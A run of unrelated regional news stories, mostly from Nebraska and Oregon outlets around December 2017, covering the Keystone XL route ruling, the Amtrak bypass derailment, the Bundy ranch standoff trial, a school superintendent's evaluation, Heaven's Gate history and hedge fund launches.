U.S. Securities and Exchange Commission rules dont require companies to disclose serious health problems in the executive suite, said Allan Horwich, a Northwestern University law professor. But a company cant issue half-truths or lie about an executive. Disclosures are judged by what the company knew in assessing the future, he said.
A man was seriously injured early Monday in a house fire in northeast Omaha.

The fire at 2868 Titus Ave. was reported around 1:40 a.m.

Fire crews reported smoke and flames as they approached the 1 1/2-story house. Firefighters found one person inside. He was taken to the Nebraska Medical Center.

KMTV reported that the man was found in a second-floor bedroom.

Five adults and one child were displaced by the fire. The Red Cross was at the house to assist.

The fire was extinguished just before 2 a.m. Officials said the fire caused $30,000 damage to the house and its contents.
LINCOLN  The future of the Keystone XL pipeline became even more muddled Tuesday with further delays expected.

The Nebraska Public Service Commission unanimously rejected TransCanadas request to amend its application for a route across Nebraska. TransCanada said it would take some time before considering whether to build the $8 billion project.

The company gave no timeline for such a decision, after earlier stating that it would decide this month whether the long-delayed Keystone XL was financially viable or not.

While a TransCanada spokeswoman said the project remains viable, opponents of the pipeline claimed victory, saying Tuesdays decision by the Nebraska Public Service Commission added more uncertainty, and likely more delay and expense, to the project.

They ought to take the hint and withdraw their application (for a route), said attorney Ken Winston, who represents the Sierra Club.

Brian Jorde, a lawyer who represents dozens of landowners opposed to the pipeline, called Tuesdays decision the absolutely worst decision possible for TransCanada and the best possible outcome for landowners.

On a 5-0 vote, the Nebraska Public Service Commission on Tuesday denied motions made by both TransCanada and the Sierra Club to clarify exactly what the commission granted the Canadian pipeline firm last month.

Thats when the PSC narrowly approved a route for the controversial pipeline across Nebraska. However, the route approved was not the preferred route sought by TransCanada, but a mainline alternative route, which parallels, for more miles, the route of an existing pipeline.

TransCanada asked the PSC to reconsider its approval and allow the company to amend its application to address questions and prevent litigation and delays over the new route.

But the PSC on Tuesday rejected that request, as well as a request by the Sierra Club to nullify the approval of the alternative route.

So where exactly that leaves the project is unclear. TransCanada could push forward with its alternative route but face a deluge of lawsuits from landowners who werent notified that they might be on a pipeline path.

Or TransCanada could appeal the PSCs decision with the Nebraska Court of Appeals, which could take up to a year.

TransCanada spokeswoman Robynn Tysver said the company is going to take some time to review todays decision and determine our next step.

Keystone XL remains a viable project with strong commercial support and we remain committed to this project, she said.

But Omaha attorney Dave Domina, who also represents anti-pipeline landowners, said TransCanada is now holding a fistful of feathers.

Theyre in a mess, Domina said.

He said TransCanada must decide whether to move forward with what he considers a legally flawed route across Nebraska, or appeal to the State Appeals Court, which might require the company to reapply for approval of the alternative route. That process, in total, might take three years or more, Domina said.

Parties now have 30 days to file an appeal with the Nebraska Court of Appeals.

The Keystone XL is a 36-inch-diameter pipeline designed to carry thick, crude oil from Canadas tar sand region to oil refineries on the U.S. Gulf Coast.

While the southern portion of the project was completed years ago, construction of the portion from Alberta to Steele City, Nebraska, was blocked by then-President Barack Obama as damaging to the environment.

After President Donald Trump took office, he resurrected the project, but the Keystone XL still needed to gain permission for a pipeline route across Nebraska.

TransCanada asked for approval of a 275-mile route that had won an OK from the Nebraska Department of Environmental Quality back in 2013.

But the PSC last month rejected that route, and instead approved an alternative route. The agency ruled that it was in the public interest that two pipelines be laid side-by-side, as much as possible, to make it easier to monitor them and react to any problems.
The Lancaster County Sheriffs Office says it is investigating the death of a 3-week-old child from the Waverly area.

Emergency crews responded around 8 p.m. Sunday to a home north and west of town to investigate a report of an infant who was unable to breathe, Sheriff Terry Wagner said.

The boy was taken to a Lincoln hospital and then flown to Childrens Hospital & Medical Center in Omaha, where he died around 7 p.m., the sheriff said.

An autopsy was to be performed Monday to determine the cause of death, Wagner said.

The sheriff said his office still was investigating the death.

"Were kind of in a holding pattern waiting for the autopsy results, he said.
Matthias Knab, Opalesque for New Managers:

Australian Hedge Fund veteran, Damien Hatfield of Triple A Partners, has teamed up with the ex-Head of Global Markets for ANZ Bank, Steve Bellotti, who is advising the recently formed EKT Active Fund, an actively traded cryptocurrency and ICO fund.

Hatfield says that the aim is to marry a traditional, recognised fund structure and long-term global markets experience with the new, emerging asset class of blockchain-based technologies. The fund is Cayman based and registered and includes an ......................

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Komfie Manalo, Opalesque Asia:

OP Investment Management Ltd. (OPIM), Asia's leading hedge fund platform, in partnership with Watercourse Advisors announced the launch of Watercourse Macro Fund SP of Sunrise SPC, a Cayman-domiciled hedge fund for professional investors only. The absolute return fund will deploy a global, directional macro strategy.

Founded by Ms. Wei Liao, Watercourse will continue the same strategy she ran whilst previously managing BIA Pacific Macro Fund. The portfolio will focus on anticipating and identifying tactical trading opportunities as well as strategic investment themes in Asia-Pacific, US, and Europe, by taking long and short positions in highly liquid, transparent, easy-to-price instruments across equities, commodities, bonds and currencies.

"Our active trading and risk management strategy is directional, concentrated, and often contrarian." Ms. Liao said, "Applying dynamic capital allocation, we can profit from sudden changes in macro-environment while mitigating steep drawdown risks."

Ms. Liao arrives with over 12 years' experience in macro trading and research. Previously, she was the acting portfolio manager of BIA Pacific Macro Fund in 2016. In 2013, she was the assistant portfolio manager of Asia Pacific Macro Fund at City Financial, and was a macro analyst for BIA in 2011 when she initially moved to Hong Kong. Ms. Liao was originally in Singapore beginning 2008, where she was working as a hedge fund analyst at Credit Sui......................

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Opalesque Industry Update - Wells Fargo Asset Management (WFAM) announces the launch of the Global Low Volatility Equity Fund and the Global Long/Short Equity Fund, each a sub-fund of the Wells Fargo (Lux) Worldwide Fund. The Global Low Volatility Equity Fund* was launched on June 19, 2017, and the Global Long/Short Equity Fund was launched on July 31, 2017. The new funds broaden the current product lineup and provide more investment options to investors. Both funds are UCITS (Undertakings for Collective Investment in Transferable Securities) compliant and are available to institutional and retail investors. The Global Low Volatility Equity Fund and the Global Long/Short Equity Fund are both subadvised by Analytic Investors, LLC, and led by Portfolio Managers Harindra de Silva, Ph.D., CFA; Dennis Bein, CFA; and David Krider, CFA. A pioneer in low-volatility investing, Analytic Investors has researched and managed low-volatility investment strategies since 2004. Mr de Silva is an industry veteran with 30 years of investment experience, as is Mr Bein with 26 years. Mr Krider has 14 years of investment experience. The Global Low Volatility Equity Fund seeks to produce returns that are similar to those of the MSCI World Index. The fund invests in a diversified portfolio of equity securities across all capitalisation sizes, sectors and industries but with low forecasted volatility. The Global Long/Short Equity Fund seeks long-term capital appreciation whilst preserving capital in down markets. The fund invests at least two-thirds of its total assets in equity securities of companies located in no fewer than three countries, which may include the United States. Ludger Peters, Managing Director, International Business Development, WFAM: "We are pleased to include Analytic Investors' expertise in factor-based, risk-controlled solutions to our international product lineup. We believe the addition of these low-volatility funds provides clients with enhanced strategies to help meet their investment objectives." Both funds are available in Austria, Finland, France, Germany, Ireland, Italy, Luxembourg, the Netherlands, Norway, Singapore, Spain, Sweden, Switzerland and the United Kingdom. The funds anticipate registration in Hong Kong and South Korea in the future. Investment strategies Global Low Volatility Fund The subadviser employs a quantitatively based investment process that evaluates multiple fundamental, statistical and technical characteristics covering share valuation, growth, return history, risk, liquidity and economic sensitivity. Global Long/Short Equity The subadviser employs a strategy of gaining long and short exposure in equity securities of issuers in developed markets. The fund considers developed markets to include countries included in the MSCI World Index. The fund will gain long exposure to equity securities that the subadviser believes will outperform the equity market on a risk-adjusted basis and will gain short exposure to equity securities that the subadviser believes will underperform the equity market on a risk-adjusted basis. The subadviser uses a quantitatively based investment process that evaluates multiple fundamental, statistical and technical characteristics covering share valuation, growth, return history, risk, liquidity and economic sensitivity. *Analytic Investors Funds plc was acquired as part of the larger WFAM acquisition of investment advisory firm Analytic Investors, LLC. The fund was launched 1 August 2006 and was previously named the Analytic Global Low Volatility Equity UCITS Fund. The Analytic Global Low Volatility Equity UCITS Fund was a single sub-fund in the Analytic Investors Funds plc, an Irish UCITS fund, and migrated on 16 June 2017 to become a sub-fund of the Wells Fargo (Lux) Worldwide Fund. The Global Low Volatility Equity Fund will maintain the same investment strategy and performance history as the Analytic Global Low Volatility Equity UCITS Fund.
Oregon's jobless rate remained near a historic low in November, 4.2 percent, and job growth remained flat, according to new data out Tuesday from the state employment department.

While the state's economy continues to enjoy an unusually long expansion, experts are looking ahead and beginning to identify possible weaknesses that might trigger a recession within just a couple years.

A chief concern is that Oregon may not have enough skilled workers to sustain its growth. ECONorthwest economist Bob Whelan believes the state's economy is slowing, and that Oregon could be headed into a recession as soon as the end of 2019.

"The economy is running out of the fuel it has been using to grow for the last 7 years. We are low on productive workers people available to go back to work and many of those that are available are unskilled," Whelan wrote in a recent blog post.

The Portland area, in particular, has benefitted from an influx of young, highly skilled migrants from outside the state.

But economists have been warning for months that the state's multiyear economic expansion is slowing down as Oregon nears "full employment," a broad term that describes a condition where businesses have a hard time filling positions because of a lack of available workers. It doesn't necessarily mean everyone who wants a job can find one; rather, it suggests available workers don't have the skills employers want.

Oregon job growth slowed in November, according to Tuesday's data from the Oregon Employment Department. The state shed 1,800 jobs from October but remains up by more than 30,000 jobs from a year early.

That works out to an annual growth rate of 1.7 percent, just slightly above the national rate of 1.4 percent. Previously, Oregon's growth had handily outpaced the national rate.

In his analysis, Whelan wrote that "the paucity of available workers is a serious problem." He noted that contractors say thousands of construction jobs in the Portland area are going unfilled because the volume of work has far outstripped available labor.

Additionally, Whelan said, corporate profit margins appear to have peaked in 2014. Shrinking margins suggest a recession within five years, or in 2019.

"At this point, I believe the recession will be mildthat is, unless we wildly over-build, like we did in the mid-2000's," Whelan wrote.

-- Mike Rogoway; twitter: @rogoway; 503-294-7699
Rail advocates had expected to celebrate a breakthrough Monday for the Northwest passenger rail system, a $181 million bypass that would shave time off the Portland-Seattle loop, allowing trains to run at higher speeds and squeeze in more trips each day.

Instead, the inaugural passenger train on the Point Defiance Bypass jumped the tracks, spilling cars from a freeway overpass onto Interstate 5 below. At least three people were killed and dozens injured.

The much-anticipated route was intended to cut 10 minutes off the stretch between Tacoma and Olympia by running alongside I-5 instead of hugging the Puget Sound. It also had fewer curves - limiting the need to slow down - and single-track tunnels where passenger trains must yield to passing freight trains.

It was part of Washington's strategy to make rail more competitive with driving and flying, said Lloyd Flem, the executive director of the advocacy group All Aboard Washington. "It's beginning to work," he said. "It's not just discretionary; you're starting to see business travel."

Flem said he worried Monday's tragedy might curtail that success, though he pointed out that rail travel is statistically safer on a per-mile basis than traveling by car.

"This is a terrible set back and a tragedy," he said, noting he was still waiting to hear from some of his group's members who'd been on board. "But we're certainly going to continue to push the idea that trains are a good investment after the dust is totally settled."

The $181 million endeavor was largely funded as part of the 2009 federal economic stimulus. Work on the bypass began in 2014.

But the plan to run more trains at higher speeds through population centers was never without controversy, or safety concerns: The city of Lakewood, five miles from the crash site, sued the state in 2013 in a bid to halt the project. Mayor Don Anderson said the number of street level crossings and the route's higher speed limit presented a collision risk.

Monday's crash occurred near an interstate overpass, not near a street-level crossing.

But it's not clear what role speed played. Most of the 19.5-mile route had a higher speed limit of 79 mph, but trains were supposed to slow to 30 mph near the derailment site, just south of DuPont.

Amtrak President Richard Anderson told reporters that positive train control -- technology that automatically slows trains to posted speed limits -- was not activated at the time of the crash. The technology is scheduled to be broadly implanted by federal mandate before the end of 2018.

The Associated Press reported the train might have hit an obstruction on the track, citing an unnamed official. The National Transportation Safety Board has investigators on scene, and it may take days or weeks before they issue a finding.

Amtrak officials said there had been numerous test runs of trains on the new tracks in the weeks leading up to the new route opening.

Oregon had looked to Washington state's rail expansions to guide its own lagging efforts.

Washington state had $800 million worth of plans ready when federal stimulus funds became available. Oregon didn't have a plan ready, said Kitty Piercy, a former legislator and mayor of Eugene who served on the state's Passenger Rail Leadership Council. It's since identified projects to improve passenger rail traffic but hasn't identified funding.

"Here in Oregon, we have always been grateful that Washington has been so progressive in trying to improve its part of the corridor," Piercy said. "We would all be concerned that nothing happens to undermine the viability of this particular form of public transportation."

Rail advocates from the Association of Oregon Rail and Transit Advocates had gathered Monday at Union Station in Portland to greet Train 501 when it arrived from Seattle. Instead, they learned it had derailed during the trip.

Donald Leap, the group's government affairs director, said he was confident the incident wouldn't have a long-term effect on ridership.

"This was really going to be a milestone because of its improved ability to serve a business customer," said Donald Leap, the group's government affairs director. "This is a sad, sad moment."

-- Elliot Njus

enjus@oregonian.com

503-294-5034

@enjus

Fedor Zarkhin contributed to this report.
Hours before she was lauded as Portland's new deputy superintendent, Yvonne Curtis's former employers met to discuss concerns about her poor leadership and lack of transparency.

On Monday, the Forest Grove School Board received Curtis's final performance evaluation. It had been underway for months, including interviews or surveys of hundreds of employees, parents, board members and others who directly observed her work.

Days before the findings were completed, she abruptly resigned after eight years as the district's superintendent.

The 34-page evaluation offers an in-depth look at how district employees and community members perceived Curtis's management abilities. Those views raise some eerily familiar issues for Portland Public Schools, a district facing its own problems with both communication and trust.

"Survey and interview responses indicate that there is a lack of trust of leadership and a culture of fear in the district," the evaluation states. "To improve the culture and build trust, district leadership should focus on improving transparency and communication about decisions and the why behind them."

Portland-based consulting firm Coraggio Group conducted the evaluation based on in-person interviews; Curtis's own self-evaluation; and 346 responses to a survey sent to all district staff, school board members and a sampling of parents, community members and former employees.

More than half of respondents indicated they did not feel Curtis could effectively nurture or sustain "a culture of collaboration, trust, learning and continuous improvement," nor did she create "a personalized and motivating learning environment for students."

Curtis resigned unexpectedly last week. She collected more than $80,000 in payments from the district and offered no word on where she'd land.

Monday, Portland Superintendent Guadalupe Guerrero announced with fanfare her new title: Portland Public Schools' deputy superintendent of instruction and school communities. She starts Jan. 2.

"Yvonne was completely transparent with the district during the interview process," Guerrero said in a statement to The Oregonian/Oregonlive. "We were aware that the report was coming. We are grateful that Yvonne is bringing her talent and experience to Portland Public Schools, and we can't wait for her to join us with the start of the new year. Her endorsements as an educational leader came in from across the state. As a member of our leadership team, Yvonne will help us renew our focus on teaching and learning in the district."

Portland schools spokesperson Dave Northfield said Curtis was out of town and unavailable for comment.

The job description states Portland's deputy superintendent will use "data-based inquiry to improve learning results"  something Curtis received high marks for in Forest Grove. The district has generated fairly strong academic achievement and other student outcomes under her leadership, with above-average growth in students' math and reading scores and a graduation rate above the state average.

But she'll also need to "engage and communicate" with students, community members and civic leaders  areas where she clearly struggled.

"Outside of her cabinet, the superintendent does not communicate effectively with district staff and stakeholders," the report states. "Respondents cited specific challenges around the frequency and mode of communication, as well as the inability to provide feedback."

Curtis's 2017 evaluation, with its strongly negative tinge, was an abrupt change from her overwhelmingly positive review in 2016. That evaluation was based on school board members' opinions and did not include surveys or interviews with employees and community members.

The latest evaluation lists two areas of strengths: a focus on district goals and strong relationships with her executive level employees. But it lists five areas for improvement, including that the district "does not have a clear vision for the future" and "the superintendent regularly puts adult needs first when it comes to resource allocation."

The performance report says Curtis did not adequately track initiatives that had been delegated to other district staff. And when initiatives did not go well  such as when concerns arose about the use of iPads provided to middle school students  she did not "assist with course correction and own the issue," it said.

In all six categories of performance, Curtis gave herself a higher score than she received from respondents. An area where she felt she was strongest  instructional leadership  is where she received the lowest scores from the community.

"She comes across as impersonal and judgmental," wrote one respondent. "Teachers will come to her with challenges, and she responds with something like, 'I had more kids my classroom so I don't see the problem.' She doesn't offer guidance or constructive help."

More than one comment noted that Curtis did not regularly perform employee evaluations. Her communication style was "perceived as infrequent and impersonal."

"Her attitude about classroom teachers is not supportive," wrote another respondent. "I have heard her more than once say that 'class size doesn't matter if you are an engaging teacher.' I find that offensive and ridiculous."

In October, despite Curtis's opposition, the Forest Grove School Board voted to hire four more elementary level teachers. Curtis told the board she worried about the costs, but school board members said they worried more about growing class sizes and noted a $2 million increase in state funding that year should cover the expense.

Eight years is a notably long tenure for any superintendent who serves at the pleasure of ever-changing elected officials. This year saw three incumbent board members ousted in Forest Grove, so it's no surprise this last evaluation hints at the need for new leadership.

As a small-town where the high school homecoming parade still marches down Main Street, Forest Grove expects to see its superintendent in the community and in its schools. The town didn't get that from Curtis, and the evaluation notes she spent a lot of time "out of district."

"Our superintendent has been in this position for more than eight years," wrote one respondent. "I'm still waiting to feel like she has even joined our community, let alone provided healthy leadership for our school district."

Curtis was a member of the Oregon Education Investment Board, a prestigious panel appointed by former Gov. John Kitzhaber to oversee all Oregon education, from preschool through grad school. She currently chairs the board of Education Northwest, a research and consulting agency that serves five Northwest states.

The evaluation largely echoes comments I heard from parents and teachers as a resident of Forest Grove. There was a sense Curtis craved a bigger stage than what our small suburban district offered.

It's possible this will turn out to be another instance where Portland Public Schools hired someone without a thorough look at her background. But perhaps in Portland, Curtis will succeed on that bigger stage she's been looking for.

-- Samantha Swindler is a columnist for The Oregonian.



@editorswindler / 503-294-4031

sswindler@oregonian.com
AP Photo

by Jamie Hale | The Oregonian, OregonLive

On March 26, 1997, the nation was captivated by a chilling scene: The bodies of 39 people, all draped in purple shrouds, wearing matching sneakers, discovered in a mansion in southern California.



The story of Heaven's Gate  the fringe UFO religion to which they all belonged  has played out time and again over the last 20 years, most recently in a new and comprehensive podcast by the same name. But what often gets lost in the history is the important role that Oregon played in inspiring and furthering the group's cause.



Our state is no stranger to fringe religious movements. This is, after all, where spiritual leader Bhagwan Shree Rajneesh established a utopian commune for thousands of followers (25 of whom were later convicted of serious crimes). But eight years before the Rajneeshees gathered in the desert, and 24 years before the bodies were found in California, the seeds of Heaven's Gate were sowed at a campground in southern Oregon.

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The sun rises over the Rogue River. (Jamie Hale)

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In 1973, Heaven's Gate founders Marshall Herff Applewhite and Bonnie Nettles were in the midst of a spiritual journey across the U.S., camping where they could and skipping out on motel bills when they couldn't afford them. Their winding journey eventually led them to Gold Beach, on the southern Oregon coast, where they stopped for the night at a campsite along the Rogue River.



Alongside the powerful river, surrounded by the forested peaks of the Klamath Mountains, Applewhite and Nettles found the divine inspiration they were looking for. Whether it was the nature, the stars or a matter of timing, when they came out they started referring to themselves as "the two," and promised followers that they would help usher them to "the next level."



Their beliefs combined several facets of American culture, including the nation's fascination with alien life, apocalyptic readings of the Bible, and the dawning New Age movement that spawned dozens of fringe religious movements. Applewhite and Nettles  who also went by the names Do and Ti, or Bo and Peep  saw themselves as the two witnesses referred to in the book of Revelations, and could help bring their followers to a higher state of existence by beaming up to an alien spaceship.



They took their message to towns around the western U.S., but few noticed the burgeoning group until they returned to the Oregon coast, where a small meeting in Waldport brought Heaven's Gate a number of new followers  as well as national attention.

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The Alsea Bay Bridge in Waldport. (Jamie Hale/The Oregonian)

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Posters put up in town read: "UFO's. Why they are here. Who they have come for. When they will leave." This wasn't a meeting to talk about UFO sightings, it said, but would be a discussion about transcending the human level of existence. "This is not a religious or philosophical organization recruiting membership. However, the information has already prompted a number of individuals to devote their total energy to the transitional process."



It may not have been a recruitment meeting, but they still managed to recruit somewhere between seven and 20 followers from Waldport, all of whom immediately got rid of their belongings, severed all ties with family and friends, and left town. Their sudden disappearances led to concern both locally and across the U.S., after national news outlets picked up the story.



The controversy eventually died down, and the group's numbers grew and shrank over subsequent years. Still, members continued to travel up and down the west coast, returning frequently to Oregon, promising meet-ups with UFOs that failed to pan out. In 1985, Nettles died, forcing a shift in the group's power dynamic and philosophy. Heaven's Gate continued under Applewhite's direction, and in 1996 the group moved into the mansion in southern California, where less than a year later, the remaining members taped farewell videos before shedding their "physical containers" to move on to the next level.

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A truck containing bodies of Heaven's Gate members is parked outside their southern California mansion. (AP Photo)

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Their deaths chilled people the world over, but the feeling was especially resonant on the Oregon coast, where residents still remembered the strange group that still came through from time to time  stopping off in Gold Beach only two weeks before the mass suicide. In Waldport, people watched the news on TVs at local bars and reflected on the group's impact on the community.



"This is so sad," Waldport resident Robert Rubin, who in 1975 was recruited into the group, told an Oregonian reporter after the suicides. "They're people like me. We must have been thinking the same things at some time. We were in the same head space for four months."



As media descended upon Waldport, their questions inevitably turned to why the group found success on the Oregon coast. Locals gave explanations ranging from "negative ions from the ocean" to a simple "why not here?" But there were no easy answers, leaving the question to linger, even still: What is it about Oregon?



Without climbing into the minds of Do and Ti  or Bhagwan Shree Rajneesh for that matter  we may never know for sure. Our nature, culture and communities can be alluring to those seeking a higher spiritual purpose, especially those outside the norm. Oregon is a place where rugged individualism springs forth from a land of boundless awe, and where inspiration seems to seep from the soil. It's a place where you can be whoever or whatever you want, and where escape from traditional society is only a hiking trail  or UFO ride  away.



--Jamie Hale | jhale@oregonian.com | @HaleJamesB
BY ROBERT ARELLANO

"U.S. to Restore Full Relations With Cuba." When that news alert hit my inbox three years ago, I was sitting at Noble Coffee in Ashland, replying to my college students' emails. I had to find a streaming clip of the full announcement to be sure it was true. I watched President Obama from the East Room at the White House say, "These 50 years have shown that isolation has not worked." It was the most sensible thing about Cuba I had heard from a U.S. president in half a century.

Before, in order to visit Cuba legally as an individual, you needed to apply for a special license from the Treasury Department's Office of Foreign Assets Control. You had to justify your trip under one of 12 categories and, if your application for a travel license was approved, purchase the flight from a small slate of expensive charter companies. I told everyone I knew that "yes, you can get there from here," but the cost as well as the lengthy and convoluted application process usually discouraged all but those with the heartiest tolerance for bureaucracy.

Suddenly, despite the ongoing U.S. embargo, beginning in January of 2015 Americans could simply fill out a form at the airport and check a box declaring they were participating in "people-to-people" exchanges. What traveler isn't, after all? What used to take six months now took 60 seconds. Jan. 5 of this year was the first day in five decades that an American flying from the West Coast could purchase a commercial airline fare direct to Cuba. I went online that day and bought a round-trip ticket from PDX via LAX to Havana's Jose Marti International Airport for less than $500.

While English-language news media had seized on President Obama's phrase "normalize relations," I learned how much better the policy sounded in Spanish: Cubans called it "la apertura," the opening. They embraced the travel changes -- and the new stream of visitors -- with characteristic hospitality. Everywhere a sense of hope was palpable: among street vendors selling souvenirs in la Habana Vieja, families opening restaurants in their Vedado dining rooms, and common Cubanos on the Malecon posing for selfies with travelers.

During this unique year, people-to-people exchanges attracted thousands of Oregonians to Cuba. But last month, the Trump administration put an end to the travel allowance. When I returned to the island for a second visit in November, I was on my way to the airport when Alaska Air announced that the once-daily West Coast flight, after only a year of operation, will be cancelled. Cesar Ramos, a Habanero who offers taxi services in his restored 1955 Ford Fairlane, told me he was scaling back plans to list a room of his family's apartment on Airbnb. "The embargo: we're used to it. We had to get by like this in 1968, and we'll keep doing it in 2018."

You can still get there from here, but you'll have to get there like 1968, not like 2018.

Robert Arellano is a professor at Southern Oregon University's Oregon Center for the Arts and on the Oregon Humanities Council's board of directors. He lives in Talent.

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LAS VEGAS -- Ammon Bundy was at times on the brink of despair behind bars but said Monday he's now at peace as he awaits a judge's ruling on whether the stalled federal conspiracy trial against him, his father, older brother and a friend will proceed.

The 42-year-old has been staying at a relative's home in Las Vegas, supervised with GPS monitoring and a curfew, after spending a year and 10 months in custody following his arrest in Oregon.

Outside the downtown courthouse, wearing a cowboy hat, brown plaid shirt and a black Carhartt vest, he said he was buoyed by a new memo from a U.S. Bureau of Land Management whistleblower that alleged misdeeds by federal agents during the investigation of the 2014 armed standoff outside his father's ranch near Bunkerville.

Agent Larry Wooten sent the Nov. 27 memo to the U.S. Department of Justice, citing serious concerns about the "heavy-handedness" of Dan Love, the BLM agent who led the round-up of Cliven Bundy's cattle after the family patriarch failed to pay grazing fees and fines for two decades. Wooten alleged Love and other agency supervisors withheld evidence, abused their power and actively ridiculed the Bundys, though Wooten also said Cliven Bundy and his supporters "chose an illegal, uncivilized and dangerous strategy" to express their grievances.

Ammon Bundy said the government made a mistake by locking up his family for so long because it gave them a lot of uninterrupted time to pore over evidence and learn about the law. Ammon and Ryan Bundy were arrested in January 2016 during their armed occupation of the Malheur National Wildlife Refuge in southeastern Oregon and their father was arrested the following month when he arrived at Portland International Airport to visit them in jail.

"We've been locked away for the last two years with discovery that's been sealed. We've done our due diligence going through every file, trying to understand every video, trying to understand every body cam, every dash cam,'' Bundy said. "We have understood that this has been going on, but we haven't been able to tell the public. So the fact that it has come out doesn't surprise us at all.''

Ammon Bundy speaks outside the federal court in Las Vegas, Nevada, on Monday morning, Dec. 18, 2017, as he awaits a judge's decision as to whether the federal conspiracy trial will proceed.

He said it may be easier for the public to accept Wooten's claims about alleged federal misconduct because they're coming from someone within the Bureau of Land Management.

He said he expects U.S. District Judge Gloria M. Navarro to dismiss the federal conspiracy case, or that he and the others will win acquittal if the trial continues. Navarro last week raised the prospect of a mistrial, striking certain witness testimony or delaying the trial if she found prosecutors violated their obligation to turn over evidence beneficial to the defense.

Ammon Bundy, father Cliven Bundy, older brother Ryan Bundy and Ryan Payne face conspiracy, threat, assault and extortion charges, accused of rallying militia and armed supporters to thwart a court-ordered roundup of Bundy cattle trespassing on public land. Outnumbered federal agents and rangers retreated and the Bundys were indicted a year and a half later.

The judge is expected to rule by Wednesday whether the case will continue in light of at least seven potential evidence violations she cited by the prosecution, and the surfacing of the whistleblower memo submitted to the defense on Dec. 8. Only three prosecution witnesses have been called since opening statements Nov. 14.

Ammon Bundy said his time in jail affected his wife, six children, his business and finances. He still owes about $180,000 in legal fees from his trial in Portland in the refuge takeover, which ended in acquittals for him, Ryan Bundy and five other defendants in fall 2016, according to court testimony.

He said his vehicle fleet business, which provides repair and maintenance services, has been curtailed and he wasn't allowed any contact visits with his wife and children until his release last month.

At times, with decades of potential prison time hanging over his head if convicted in Nevada, Bundy said he wondered if he'd ever get to spend time with his family again.

"The impact has been great and terrible -- terribly great because we have grown tremendously from this," he said. "I look back at the pain and suffering we have gone through, and I almost cringe today just thinking about it.

"But as long as we don't get bitter, as long as we don't get hard, we'll be able to survive and be better at the end. Even with the financial situation of my business and all of that being attacked, we'll be fine. ... We'll make it.''

Ammon Bundy lifts his right pants leg to reveal the GPS monitoring device below his sock that the court ordered he wear while he is out of custody.

He said he's believed he and his family would prevail since he experienced a spiritual awakening while in custody in Portland. He also got through his jail time by looking forward to telling his family's story at trial in Nevada.

"I came to understand this case was going to be an instrument in bringing forth truth and exposing corruption of what the government is doing to not only us and not only to the agricultural community but people in general,'' he said.

He said he's gained strength and his wife and children have grown closer to God and "more determined to stand for what is right.''

"I'm not so tender, if you will. I've run out of tears,'' he said. "But I don't feel like I'm hardened. ... I'm not bitter at the Bureau of Land Management. I'm not bitter at the prosecutors or the judge because I know that the light will be brought forth.''

But he said the public should be outraged about the government's delay in sharing evidence - including information about a live-feed FBI camera on a hill overlooking the Bundy ranch, a log tracking who was watching the camera and armed federal agents on watch outside the ranch -- and the whistleblower's allegations.

Prosecutors have been "digging a hole for us,'' but are going to be buried in it themselves, he said.

Prosecutors have argued that some of the information the defense requested is immaterial to the case, that they were not aware of some of the defense theories or that a document sought wasn't discovered because it wasn't in the usual investigative file but kept in one person's file. Prosecutors also have argued in court earlier that the defense requests for additional evidence marked a "tactic for delay.''

Since his Nov. 30 release, Ammon Bundy said he's trying to make up for lost time. The moment he hugged his wife and children was indescribable, he said. He devoured a "good steak'' at a barbeque on his second day out after losing about 40 pounds in custody.

He said he considered remaining behind as his father has chosen to do despite the judge's release order, but realized he could do more good outside of jail.

Still, he said, "We're not in any way free," pulling up his right pant leg to show the electronic monitoring anklet he has tucked inside his sock.

Asked if he'd lead similar armed standoffs if a mistrial or a dismissal is declared, "I hope that is not necessary.''

-- Maxine Bernstein

mbernstein@oregonian.com

503-221-8212

@maxoregonian
Prosecutors have asked the judge in the Nevada ranch standoff case to limit defense theories and not allow Cliven Bundy, his two sons and Ryan Payne to claim federal officers provoked the armed confrontation in April 2014.

In a motion filed late Monday, Acting U.S. Attorney Steven Myhre said the defendants are relying on "theories of defenses that are not legally cognizable.'' He said they shouldn't be able to argue that they were entrapped or acted in self-defense when federal officers tried to impound the Bundy cattle.

The motion comes as the trial is stalled and the judge is considering whether the government violated its obligation to turn over FBI reports and multiple agencies' threat assessments that could assist the defense. The judge also is considering what remedy she should impose for any violations.

U.S. District Judge Gloria M. Navarro signaled last week that she was inclined to find that the prosecution team hadn't provided a host of documents or information to defendants in a timely manner and hinted that she could delay the trial, strike certain witness testimony or declare a mistrial. She told jurors and lawyers from both sides not to return to court until Wednesday.

The judge cited information that trickled out as the trial got underway about a surveillance camera on a hill above the Bundy ranch, a law enforcement log that captured who viewed the live-feed camera, reports on FBI and National Park Service tactical officers' roles, an FBI sniper on watch outside the Bundy residence and multiple agency threat assessments conducted of the Bundys between 2011 and 2014.

Defendants have argued the information about surveillance of the ranch in early April 2014 is directly relevant because the indictment alleges that Payne and others were deceitful and falsely suggested that the ranch was surrounded by federal snipers and isolated when Payne put out a call for militia to respond.

On Tuesday, Payne's defense lawyer filed a counter motion to strike the prosecutors' attempts to limit defense arguments.

Assistant federal public defender Brenda Weksler accused the government of "stalling or sandbagging'' the case. She argued that the government should be stopped "from claiming its conduct and the reasonableness of its actions is irrelevant.''

Weksler further noted that the court already gave prosecutors a chance to file its response to the judge's concerns about the government's faulty evidence sharing, noting the judge remarked on Dec. 11 that "the government never took seriously the motions that were filed by the defense.''

Prosecutors say there's no information that federal officers used excessive force and the defendants shouldn't be allowed to contend they acted in self-defense when they organized hundreds of armed supporters to thwart a lawful court order to impound Bundy family cattle trespassing on federal land.

Further, the prosecutors cited a prior Oct. 23 ruling by the judge restricting any instruction to the jury that the defendants acted in self-defense. Yet the judge did leave open a possibility that her ruling could change if defendants could provide proof such an instruction is warranted.

Cliven Bundy, sons Ammon and Ryan Bundy and Payne are charged with federal conspiracy, threat, assault and extortion.

"The Court needs to put a stop to these illegal theories and defenses in order for the government to receive a fair trial,'' Myhre wrote. "The government, too, is entitled to a fair trial.''

No matter how the defendants perceived the federal response, "the officers' use of a camera or 'snipers,' or their proximity to and purpose for being near the Bundy home on April 5-7, do not constitute immediacy of harm days later on April 12,'' Myhre wrote.

Excerpt from government's motion to limit defense theories

"Nothing about the presence of either cameras or snipers provides an excuse, justification or defense to the charges in this case,'' Myhre wrote.

Prosecutors contend the "normal activities of a police officer'' - including patrolling, surveillance, making arrests - don't provide any basis for defendants to "resist by force.''

The prosecutor's motion also follows the government's sharing with defense lawyers a Nov. 27 whistleblower memo by a U.S. Bureau of Land Management agent who alleges his agency displayed recklessness and "heavy handedness'' in the cattle roundup operation and withheld information that would embarrass the agency.

